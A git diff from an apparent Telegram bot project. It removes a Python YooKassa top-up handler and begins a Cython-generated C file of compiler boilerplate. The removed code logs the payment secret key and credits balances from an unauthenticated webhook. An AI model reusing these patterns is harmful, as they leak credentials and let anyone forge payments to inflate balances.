YOOKASSA_ENABLE, YOOKASSA_SECRET_KEY, YOOKASSA_SHOP_ID -from yookassa import Configuration, Payment - -from database import ( - add_connection, - add_payment, - check_connection_exists, - get_key_count, - update_balance, -) -from handlers.payments.utils import send_payment_success_notification -from handlers.texts import PAYMENT_OPTIONS -from logger import logger - -router = Router() - -if YOOKASSA_ENABLE: - Configuration.account_id = YOOKASSA_SHOP_ID - Configuration.secret_key = YOOKASSA_SECRET_KEY - logger.debug(f"Account ID: {YOOKASSA_SHOP_ID}") - logger.debug(f"Secret Key: {YOOKASSA_SECRET_KEY}") - - -class ReplenishBalanceState(StatesGroup): - choosing_amount_yookassa = State() - waiting_for_payment_confirmation_yookassa = State() - entering_custom_amount_yookassa = State() - - -@router.callback_query(F.data == "pay_yookassa") -async def process_callback_pay_yookassa( - callback_query: types.CallbackQuery, state: FSMContext, session: Any -): - tg_id = callback_query.message.chat.id - - builder = InlineKeyboardBuilder() - - for i in range(0, len(PAYMENT_OPTIONS), 2): - if i + 1 < len(PAYMENT_OPTIONS): - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', - ), - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i + 1]["text"], - callback_data=f'yookassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - ), - ) - else: - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', - ) - ) - builder.row( - InlineKeyboardButton( - text="💰 Ввести свою сумму", - callback_data="enter_custom_amount_yookassa", - ) - ) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")) - - key_count = await get_key_count(tg_id) - - if key_count == 0: - exists = await check_connection_exists(tg_id) - if not exists: - await add_connection(tg_id, balance=0.0, trial=0, session=session) - - await callback_query.message.answer( - text="Выберите сумму пополнения:", - reply_markup=builder.as_markup(), - ) - - await state.set_state(ReplenishBalanceState.choosing_amount_yookassa) - - -@router.callback_query(F.data.startswith("yookassa_amount|")) -async def process_amount_selection( - callback_query: types.CallbackQuery, state: FSMContext -): - data = callback_query.data.split("|", 1) - - if len(data) != 2: - return - - amount_str = data[1] - try: - amount = int(amount_str) - except ValueError: - return - - await state.update_data(amount=amount) - await state.set_state( - ReplenishBalanceState.waiting_for_payment_confirmation_yookassa - ) - - # state_data = await state.get_data() - customer_name = callback_query.from_user.full_name - customer_id = callback_query.message.chat.id - - customer_email = f"{customer_id}@solo.net" - - payment = Payment.create( - { - "amount": {"value": str(amount), "currency": "RUB"}, - "confirmation": { - "type": "redirect", - "return_url": "https://pocomacho.ru/success.html", - }, - "capture": True, - "description": "Пополнение баланса", - "receipt": { - "customer": { - "full_name": customer_name, - "email": customer_email, - "phone": "79000000000", - }, - "items": [ - { - "description": "Пополнение баланса", - "quantity": "1.00", - "amount": {"value": str(amount), "currency": "RUB"}, - "vat_code": 1, - } - ], - }, - "metadata": {"user_id": customer_id}, - }, - uuid.uuid4(), - ) - - if payment["status"] == "pending": - payment_url = payment["confirmation"]["confirmation_url"] - - confirm_keyboard = InlineKeyboardMarkup( - inline_keyboard=[ - [InlineKeyboardButton(text="Пополнить", url=payment_url)], - [InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")], - ] - ) - - await callback_query.message.answer( - text=f"Вы выбрали пополнение на {amount} рублей.", - reply_markup=confirm_keyboard, - ) - else: - await callback_query.message.answer("Ошибка при создании платежа.") - - -async def yookassa_webhook(request): - event = await request.json() - logger.debug(f"Webhook event received: {event}") - if event["event"] == "payment.succeeded": - user_id_str = event["object"]["metadata"]["user_id"] - amount_str = event["object"]["amount"]["value"] - try: - user_id = int(user_id_str) - amount = float(amount_str) - logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") - await add_payment(int(user_id), float(amount), "yookassa") - await update_balance(user_id, amount) - await send_payment_success_notification(user_id, amount) - except ValueError as e: - logger.error(f"Ошибка конвертации user_id или amount: {e}") - return web.Response(status=400) - return web.Response(status=200) - - -@router.callback_query(F.data == "enter_custom_amount_yookassa") -async def process_enter_custom_amount( - callback_query: types.CallbackQuery, state: FSMContext -): - builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="🔙 Назад", callback_data="pay_yookassa")) - - await callback_query.message.answer( - "Пожалуйста, введите сумму пополнения.", - reply_markup=builder.as_markup(), - ) - - await state.set_state(ReplenishBalanceState.entering_custom_amount_yookassa) - - -@router.message(ReplenishBalanceState.entering_custom_amount_yookassa) -async def process_custom_amount_input(message: types.Message, state: FSMContext): - if message.text.isdigit(): - amount = int(message.text) - if amount <= 0: - await message.answer( - "Сумма должна быть больше нуля. Пожалуйста, введите сумму еще раз:" - ) - return - - await state.update_data(amount=amount) - await state.set_state( - ReplenishBalanceState.waiting_for_payment_confirmation_yookassa - ) - - try: - payment = Payment.create( - { - "amount": {"value": str(amount), "currency": "RUB"}, - "confirmation": { - "type": "redirect", - "return_url": "https://pocomacho.ru/success.html", - }, - "capture": True, - "description": "Пополнение баланса", - "receipt": { - "customer": { - "full_name": message.from_user.full_name, - "email": f"{message.chat.id}@solo.net", - "phone": "79000000000", - }, - "items": [ - { - "description": "Пополнение баланса", - "quantity": "1.00", - "amount": { - "value": str(amount), - "currency": "RUB", - }, - "vat_code": 1, - } - ], - }, - "metadata": {"user_id": message.chat.id}, - }, - uuid.uuid4(), - ) - - if payment["status"] == "pending": - payment_url = payment["confirmation"]["confirmation_url"] - - confirm_keyboard = InlineKeyboardMarkup( - inline_keyboard=[ - [InlineKeyboardButton(text="Пополнить", url=payment_url)], - [InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")], - ] - ) - - await message.answer( - text=f"Вы выбрали пополнение на {amount} рублей.", - reply_markup=confirm_keyboard, - ) - else: - await message.answer("Ошибка при создании платежа.") - - except Exception as e: - logger.error(f"Ошибка при создании платежа: {e}") - await message.answer("Произошла ошибка при создании платежа.") - else: - await message.answer("Некорректная сумма. Пожалуйста, введите сумму еще раз:") diff --git a/handlers/payments/yoomoney_pay.c b/handlers/payments/yoomoney_pay.c new file mode 100644 index 00000000..df4bd5dc --- /dev/null +++ b/handlers/payments/yoomoney_pay.c @@ -0,0 +1,18033 @@ +/* Generated by Cython 3.0.11 */ + +/* BEGIN: Cython Metadata +{ + "distutils": { + "name": "handlers.payments.yoomoney_pay", + "sources": [ + "handlers/payments/yoomoney_pay.py" + ] + }, + "module_name": "handlers.payments.yoomoney_pay" +} +END: Cython Metadata */ + +#ifndef PY_SSIZE_T_CLEAN +#define PY_SSIZE_T_CLEAN +#endif /* PY_SSIZE_T_CLEAN */ +#if defined(CYTHON_LIMITED_API) && 0 + #ifndef Py_LIMITED_API + #if CYTHON_LIMITED_API+0 > 0x03030000 + #define Py_LIMITED_API CYTHON_LIMITED_API + #else + #define Py_LIMITED_API 0x03030000 + #endif + #endif +#endif + +#include "Python.h" +#ifndef Py_PYTHON_H + #error Python headers needed to compile C extensions, please install development version of Python. +#elif PY_VERSION_HEX < 0x02070000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03030000) + #error Cython requires Python 2.7+ or Python 3.3+. +#else +#if defined(CYTHON_LIMITED_API) && CYTHON_LIMITED_API +#define __PYX_EXTRA_ABI_MODULE_NAME "limited" +#else +#define __PYX_EXTRA_ABI_MODULE_NAME "" +#endif +#define CYTHON_ABI "3_0_11" __PYX_EXTRA_ABI_MODULE_NAME +#define __PYX_ABI_MODULE_NAME "_cython_" CYTHON_ABI +#define __PYX_TYPE_MODULE_PREFIX __PYX_ABI_MODULE_NAME "." +#define CYTHON_HEX_VERSION 0x03000BF0 +#define CYTHON_FUTURE_DIVISION 1 +#include +#ifndef offsetof + #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) +#endif +#if !defined(_WIN32) && !defined(WIN32) && !defined(MS_WINDOWS) + #ifndef __stdcall + #define __stdcall + #endif + #ifndef __cdecl + #define __cdecl + #endif + #ifndef __fastcall + #define __fastcall + #endif +#endif +#ifndef DL_IMPORT + #define DL_IMPORT(t) t +#endif +#ifndef DL_EXPORT + #define DL_EXPORT(t) t +#endif +#define __PYX_COMMA , +#ifndef HAVE_LONG_LONG + #define HAVE_LONG_LONG +#endif +#ifndef PY_LONG_LONG + #define PY_LONG_LONG LONG_LONG +#endif +#ifndef Py_HUGE_VAL + #define Py_HUGE_VAL HUGE_VAL +#endif +#define __PYX_LIMITED_VERSION_HEX PY_VERSION_HEX +#if defined(GRAALVM_PYTHON) + /* For very preliminary testing purposes. Most variables are set the same as PyPy. + The existence of this section does not imply that anything works or is even tested */ + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 1 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(PYPY_VERSION) + #define CYTHON_COMPILING_IN_PYPY 1 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #if PY_VERSION_HEX < 0x03090000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE (PY_VERSION_HEX >= 0x030400a1 && PYPY_VERSION_NUM >= 0x07030C00) + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(CYTHON_LIMITED_API) + #ifdef Py_LIMITED_API + #undef __PYX_LIMITED_VERSION_HEX + #define __PYX_LIMITED_VERSION_HEX Py_LIMITED_API + #endif + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 1 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_CLINE_IN_TRACEBACK + #define CYTHON_CLINE_IN_TRACEBACK 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 1 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #endif + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 1 + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(Py_GIL_DISABLED) || defined(Py_NOGIL) + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 1 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #ifndef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 1 + #endif + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #ifndef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 + #endif +#else + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 1 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #ifndef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 1 + #endif + #if PY_MAJOR_VERSION < 3 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 1 + #endif + #ifndef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 1 + #endif + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #if PY_VERSION_HEX < 0x030300F0 || PY_VERSION_HEX >= 0x030B00A2 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #elif !defined(CYTHON_USE_UNICODE_WRITER) + #define CYTHON_USE_UNICODE_WRITER 1 + #endif + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #ifndef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 1 + #endif + #ifndef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL (PY_MAJOR_VERSION < 3 || PY_VERSION_HEX >= 0x03060000 && PY_VERSION_HEX < 0x030C00A6) + #endif + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL (PY_VERSION_HEX >= 0x030700A1) + #endif + #ifndef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 1 + #endif + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #if PY_VERSION_HEX < 0x030400a1 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #elif !defined(CYTHON_USE_TP_FINALIZE) + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #if PY_VERSION_HEX < 0x030600B1 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #elif !defined(CYTHON_USE_DICT_VERSIONS) + #define CYTHON_USE_DICT_VERSIONS (PY_VERSION_HEX < 0x030C00A5) + #endif + #if PY_VERSION_HEX < 0x030700A3 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #elif !defined(CYTHON_USE_EXC_INFO_STACK) + #define CYTHON_USE_EXC_INFO_STACK 1 + #endif + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 1 + #endif +#endif +#if !defined(CYTHON_FAST_PYCCALL) +#define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) +#endif +#if !defined(CYTHON_VECTORCALL) +#define CYTHON_VECTORCALL (CYTHON_FAST_PYCCALL && PY_VERSION_HEX >= 0x030800B1) +#endif +#define CYTHON_BACKPORT_VECTORCALL (CYTHON_METH_FASTCALL && PY_VERSION_HEX < 0x030800B1) +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_MAJOR_VERSION < 3 + #include "longintrepr.h" + #endif + #undef SHIFT + #undef BASE + #undef MASK + #ifdef SIZEOF_VOID_P + enum { __pyx_check_sizeof_voidp = 1 / (int)(SIZEOF_VOID_P == sizeof(void*)) }; + #endif +#endif +#ifndef __has_attribute + #define __has_attribute(x) 0 +#endif +#ifndef __has_cpp_attribute + #define __has_cpp_attribute(x) 0 +#endif +#ifndef CYTHON_RESTRICT + #if defined(__GNUC__) + #define CYTHON_RESTRICT __restrict__ + #elif defined(_MSC_VER) && _MSC_VER >= 1400 + #define CYTHON_RESTRICT __restrict + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_RESTRICT restrict + #else + #define CYTHON_RESTRICT + #endif +#endif +#ifndef CYTHON_UNUSED + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(maybe_unused) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(maybe_unused) + #define CYTHON_UNUSED [[maybe_unused]] + #endif + #endif + #endif +#endif +#ifndef CYTHON_UNUSED +# if defined(__GNUC__) +# if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +# elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) +# define CYTHON_UNUSED __attribute__ ((__unused__)) +# else +# define CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_UNUSED_VAR +# if defined(__cplusplus) + template void CYTHON_UNUSED_VAR( const T& ) { } +# else +# define CYTHON_UNUSED_VAR(x) (void)(x) +# endif +#endif +#ifndef CYTHON_MAYBE_UNUSED_VAR + #define CYTHON_MAYBE_UNUSED_VAR(x) CYTHON_UNUSED_VAR(x) +#endif +#ifndef CYTHON_NCP_UNUSED +# if CYTHON_COMPILING_IN_CPYTHON +# define CYTHON_NCP_UNUSED +# else +# define CYTHON_NCP_UNUSED CYTHON_UNUSED +# endif +#endif +#ifndef CYTHON_USE_CPP_STD_MOVE + #if defined(__cplusplus) && (\ + __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1600)) + #define CYTHON_USE_CPP_STD_MOVE 1 + #else + #define CYTHON_USE_CPP_STD_MOVE 0 + #endif +#endif +#define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) +#ifdef _MSC_VER + #ifndef _MSC_STDINT_H_ + #if _MSC_VER < 1300 + typedef unsigned char uint8_t; + typedef unsigned short uint16_t; + typedef unsigned int uint32_t; + #else + typedef unsigned __int8 uint8_t; + typedef unsigned __int16 uint16_t; + typedef unsigned __int32 uint32_t; + #endif + #endif + #if _MSC_VER < 1300 + #ifdef _WIN64 + typedef unsigned long long __pyx_uintptr_t; + #else + typedef unsigned int __pyx_uintptr_t; + #endif + #else + #ifdef _WIN64 + typedef unsigned __int64 __pyx_uintptr_t; + #else + typedef unsigned __int32 __pyx_uintptr_t; + #endif + #endif +#else + #include + typedef uintptr_t __pyx_uintptr_t; +#endif +#ifndef CYTHON_FALLTHROUGH + #if defined(__cplusplus) + /* for clang __has_cpp_attribute(fallthrough) is true even before C++17 + * but leads to warnings with -pedantic, since it is a C++17 feature */ + #if ((defined(_MSVC_LANG) && _MSVC_LANG >= 201703L) || __cplusplus >= 201703L) + #if __has_cpp_attribute(fallthrough) + #define CYTHON_FALLTHROUGH [[fallthrough]] + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_cpp_attribute(clang::fallthrough) + #define CYTHON_FALLTHROUGH [[clang::fallthrough]] + #elif __has_cpp_attribute(gnu::fallthrough) + #define CYTHON_FALLTHROUGH [[gnu::fallthrough]] + #endif + #endif + #endif + #ifndef CYTHON_FALLTHROUGH + #if __has_attribute(fallthrough) + #define CYTHON_FALLTHROUGH __attribute__((fallthrough)) + #else + #define CYTHON_FALLTHROUGH + #endif + #endif + #if defined(__clang__) && defined(__apple_build_version__) + #if __apple_build_version__ < 7000000 + #undef CYTHON_FALLTHROUGH + #define CYTHON_FALLTHROUGH + #endif + #endif +#endif +#ifdef __cplusplus + template + struct __PYX_IS_UNSIGNED_IMPL {static const bool value = T(0) < T(-1);}; + #define __PYX_IS_UNSIGNED(type) (__PYX_IS_UNSIGNED_IMPL::value) +#else + #define __PYX_IS_UNSIGNED(type) (((type)-1) > 0) +#endif +#if CYTHON_COMPILING_IN_PYPY == 1 + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x030A0000) +#else + #define __PYX_NEED_TP_PRINT_SLOT (PY_VERSION_HEX >= 0x030800b4 && PY_VERSION_HEX < 0x03090000) +#endif +#define __PYX_REINTERPRET_FUNCION(func_pointer, other_pointer) ((func_pointer)(void(*)(void))(other_pointer)) + +#ifndef CYTHON_INLINE + #if defined(__clang__) + #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) + #elif defined(__GNUC__) + #define CYTHON_INLINE __inline__ + #elif defined(_MSC_VER) + #define CYTHON_INLINE __inline + #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define CYTHON_INLINE inline + #else + #define CYTHON_INLINE + #endif +#endif + +#define __PYX_BUILD_PY_SSIZE_T "n" +#define CYTHON_FORMAT_SSIZE_T "z" +#if 